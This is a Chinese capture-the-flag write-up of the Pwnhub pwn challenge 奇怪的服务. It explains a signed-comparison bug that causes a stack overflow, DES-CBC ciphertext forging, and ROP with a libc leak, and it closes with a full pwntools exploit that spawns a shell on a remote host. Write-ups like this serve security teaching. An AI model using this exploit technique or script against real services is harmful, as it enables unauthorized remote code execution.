pwn

往期Writeup:神秘人的捉弄(一)

Posted by Pwnhub on 2017-06-23

近期 Pwnhub 为期末考试让路,暂停比赛。没有比赛的日子阴雨绵绵,热爱学习的心完全停不下来,怎么办!?

没关系,还有「胖哈勃电台」陪你呀!

今天回顾胖哈勃第三期比赛:神秘人的捉弄。这期比赛包含两道题:

  • 奇怪的服务( Pwn )
  • 另一份文件( Web )

这期电台我们先来回顾奇怪的服务这道题。 Writeup 来自 @Atum 同学。


这个题⽬输⼊数据必须为题⽬中指定的数据包的格式,否则程序会直接exit。如果输⼊符合格式,v会让你很粗对包进⾏解析,根据解析道结果继续读⼊新的包进⾏进⼀步解析,之后会开启socket进⾏IO。

漏洞分析

本题有两个漏洞,⼀个是栈溢出漏洞,⼀个是堆溢出漏洞(getname的时候len+1可能导致malloc(0)),只不过可以利⽤的只有栈溢出漏洞。栈溢出漏洞存在于sub_401281中。

1
2
3
4
5
6
7
if ( *((_BYTE *)src + readlen - 1) > 8 )
{
write(1, &error2, 2uLL);
exit(0);
}
readlen -= *((char *)src + readlen - 1);
memcpy(s1, src, readlen);

在代码readlen -= *((char *)src + readlen - 1)中,如果*((char *)src + readlen - 1)为负数,则readlen会不减反增,从⽽导致readlen最⼤可能为0x178,⽽s1是栈上的0x100⼤⼩的buffer,因此memcpy(s1, src,readlen);会产⽣栈溢出。

值得注意的是,在⽐较语句if ( *((_BYTE *)src + readlen - 1) > 8 )中,8是有符号数,所以*((char *)src + readlen - 1)为负数不会使之成⽴,这也是漏洞存在的根本原因。如果这⾥的8是⽆符号的话(就像上⼀个⻓相差不多的if),那这⾥就不会存在漏洞了。

漏洞利用

这题的漏洞利⽤有⼀个⽐较烦的地⽅就是跟payload构造⽐较麻烦:

  1. 存在漏洞的函数要求我们的数据为"\x01"+hex(len(data1))+data1+hex(len(data2))+data2。其中data1data2为⻓度最⼤为0xf8的 DES 密⽂,且以 DES CBC 解密的结果的第⼀个分组必须为admin\x00explorer\x00,解密结果的最后⼀位会作为readlen -= *((char *)src + readlen - 1)中的*((char *)src + readlen - 1)参与溢出触发的payload的构造。

  2. memcpy(s1, src, readlen);中,src为攻击者可控最⼤为0xf8的堆上buffer,当readlen0x178时,剩下的0x178-0xf8的内容来源于与src相邻的堆块,这个堆块存储的data2,所以要想利⽤栈溢出做 ROP ,我们必须要在 CBC 模式中构造⼀个密⽂本身是 ROP gadget ,解密出的明⽂的第⼀个分组为admin\x00的密⽂。

这些问题其实就是密码学的问题,第⼀个问题⽐较好解决,通过逆向可以找到keyiv,然后加密就好了。第⼆个的难点是如何在 DES CBC 中找到对应某个密⽂的明⽂。这个可能会卡⼀会,但是花些时间演算⼀下也不难解决。

接下来就是做 ROP 了,ROP 调⽤wirte函数把write_got的内容打出来,并算出systembinsh的地址,然后返回main,重新触发漏洞,再次做 ROP 调⽤system(binsh)

本来我以为这样就结束了,但是很悲催的发现好像缺少设置rdxgadget。我发现的唯⼀能能⽐较好的设置rdxgadget就是init函数中的万能gadget,但是由于这个题⽬能够⽤的gadget数量最多就只有 8 个,init函数的gadget太⼤(要进⾏ 2 次 6 连 pop ,还要add rsp,8),所以就很尴尬了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
.text:0000000000405020 loc_405020: ; CODE XREF: init+5
4j
.text:0000000000405020 mov rdx, r13
.text:0000000000405023 mov rsi, r14
.text:0000000000405026 mov edi, r15d
.text:0000000000405029 call qword ptr [r12+rbx*8]
.text:000000000040502D add rbx, 1
.text:0000000000405031 cmp rbx, rbp
.text:0000000000405034 jnz short loc_405020
.text:0000000000405036
.text:0000000000405036 loc_405036: ; CODE XREF: init+3
6j
.text:0000000000405036 add rsp, 8
.text:000000000040503A pop rbx
.text:000000000040503B pop rbp
.text:000000000040503C pop r12
.text:000000000040503E pop r13
.text:0000000000405040 pop r14
.text:0000000000405042 pop r15
.text:0000000000405044 retn

这个问题卡了我很⻓时间。以⾄于后来我⼿动在各个函数寻找找能够设置rdx的⽅法,甚⾄把got能直接调的函数都调了⼀遍,期待在函数内部可以把rdx设置妥当,结果都失败了。最后只能⼜回到万能gadgets,看了⼀下栈的布局,发现第⼆次 6 连 pop 的最后⼀次 pop 时,栈顶居然是main函数的地址,这是巧合么?然后第⼀次 6 连 pop 中的第⼀个 pop 本来是将rbx设置为0的,但是我发现rbx在 pop 之前也是0!这⼜是巧合么?这样就可以第⼀次 6 连 pop 第⼀个 pop 省掉了,orz。省掉第⼀个 pop 之后第⼆次 6 连 pop 结束后的ret就正好返回到main了。所以问题也得以解决,于是⼜可以愉快的 ROP 弹 shell 了。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
from pwn import *;
from struct import pack;
from Crypto.Cipher import DES
port=12345
objname = "pwnhub"
objpath = "./"+objname
io = process(objpath)
elf = ELF(objpath)
context(arch="amd64", os="linux")
context.log_level="debug"
context.terminal = ["tmux", "splitw", "-h"]
def attach():
gdb.attach(io, execute="source bp")
def readuntil(delim):
data = io.recvuntil(delim);
return data;
def readlen(len):
data = io.recv(len,1);
return data;
def readall():
data = io.recv(4096,1);
return data;
def write(data):
io.send(str(data));
sleep(0.1)
def writeline(data):
io.sendline(str(data));
sleep(0.1)
def xor(a,b,len=8):
res=""
for i in range(len):
res+=(chr(ord(b[i])^ord(a[i])))
return res
def getcrypt(ahead,p):
#---------------------------------------
#t=ahead[len(ahead-8):len(ahead)]
#p1=dec(p)^t
#enc(p1^t)=enc(dec(p)^t^t)=enc(dec(p))=p
#---------------------------------------
deskey="explorer";
enc1=DES.new(deskey,2,deskey);
enc2=DES.new(deskey,2,deskey);
c1=enc1.encrypt(ahead+p);
c2=enc2.decrypt(c1[0:len(ahead)]+p);
return ahead+c2[len(ahead):len(ahead)+8];
def attack(ip=0):
global io
if ip != 0:
io = remote(ip,port)
#ROP Gadgets
prdi=0x00404217
writeplt=0x04008C0
writegot=0x607020
main=0x400add
setpara=0x0405020
pppppr=0x40503b
deskey=0xBE00BE76EC5CE70D;
deskey=p64(deskey);
enc1=DES.new(deskey,2,deskey);
s1="explorer".ljust(0xf8,"\x00")
e1=enc1.encrypt(s1);
enc2=DES.new("explorer",2,"explorer");
s2="admin".ljust(8,"\x00");
payload1='aaaa'+p32(7)+'caaadaaaeaaafaaa'+p64(0);
payload1+=p64(pppppr);
payload1+=p64(1)#rbp
payload1+=p64(writegot)#r12
payload1+=p64(16);
payload1+=p64(writegot)
payload1+=p64(1)
payload1+=p64(setpara)
payload1+=p64(main)
payload1+=p64(main)
payload1.ljust(232,'\x41')
payload1.ljust(232,'\x41')
for i in range(0,len(payload1),8):
s2=getcrypt(s2,payload1[i:i+8])
e2=enc2.encrypt(s2.ljust(0xf8,"\x80"));
p1="\x05\x05"
write(p1);
p2="\x02\x02\x02\x02\x02";
write(p2);
p3="\x01\xf8"+e1+"\xf8"+e2;
write(p3);
sleep(0.1);
write_addr=readall()[2:10];
write_addr=u64(write_addr)
system=write_addr-0xb1340
binsh=write_addr+0x95aa7
print hex(system)
enc3=DES.new("explorer",2,"explorer");
s3="admin".ljust(8,"\x00");
payload2='aaaa'+p32(7)+'caaadaaaeaaafaaa'+p64(0);
payload2+=p64(prdi)+p64(binsh);
payload2+=p64(system)
payload2+=p64(main)
payload2.ljust(232,'\x41')
for i in range(0,len(payload2),8):
s3=getcrypt(s3,payload2[i:i+8])
e3=enc3.encrypt(s3.ljust(0xf8,"\x80"));
p1="\x05\x05"
write(p1);
p2="\x02\x02\x02\x02\x02";
write(p2);
p3="\x01\xf8"+e1+"\xf8"+e3;
write(p3);
sleep(0.1)
readall()
io.interactive();
attack("54.222.142.77")